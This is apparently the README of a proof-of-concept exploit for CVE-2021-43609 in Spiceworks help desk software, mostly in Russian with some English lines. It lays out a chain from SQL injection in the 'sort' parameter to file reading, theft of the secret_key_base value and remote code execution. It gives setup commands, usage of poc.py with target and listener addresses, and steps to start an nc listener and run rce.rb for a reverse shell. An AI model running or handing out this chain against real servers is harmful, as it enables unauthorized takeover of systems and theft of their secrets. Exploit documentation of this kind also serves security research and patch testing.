
Доказательство концепции эксплуатации CVE-2021-43609, демонстрирующее цепочку SQL-инъекции, чтения файлов и удалённого выполнения кода против программного обеспечения службы поддержки Spiceworks.
В параметре sort Spiceworks присутствует SQLi. Полная цепочка эксплойта: SQLi -> чтение файла -> RCE.
apt update && apt install -y ruby-dev nodejs python3 python3-pip libsqlite3-dev
pip3 install requests
gem install bundler && cd rce && bundle install
Используйте poc.py для эксплуатации SQLi -> чтение файла и извлечения переменной окружения secret_key_base. Затем он сгенерирует PoC-скрипт на Ruby для получения обратного шелла, используя значения, полученные из poc.py.
usage: poc.py [-h] --rhost RHOST --lhost LHOST --lport LPORT -u USER -p PASSWORD [-e ENV_PATH]
There's a SQLi in a `sort` parameter of Spiceworks. The exploit chain is SQLi -> file read -> RCE.
optional arguments:
-h, --help show this help message and exit
--rhost RHOST https://example.com
--lhost LHOST 10.10.10.10
--lport LPORT 9001
-u USER, --user USER [email protected]
-p PASSWORD, --password PASSWORD
P@$$w0rd!
-e ENV_PATH, --env_path ENV_PATH
Path to environment variables
Используйте rce.rb. Запустите слушатель nc на IP-адресе и порту, которые вы указали на Этапе 1, затем просто:
cd rce && ruby rce.rb
Вуаля!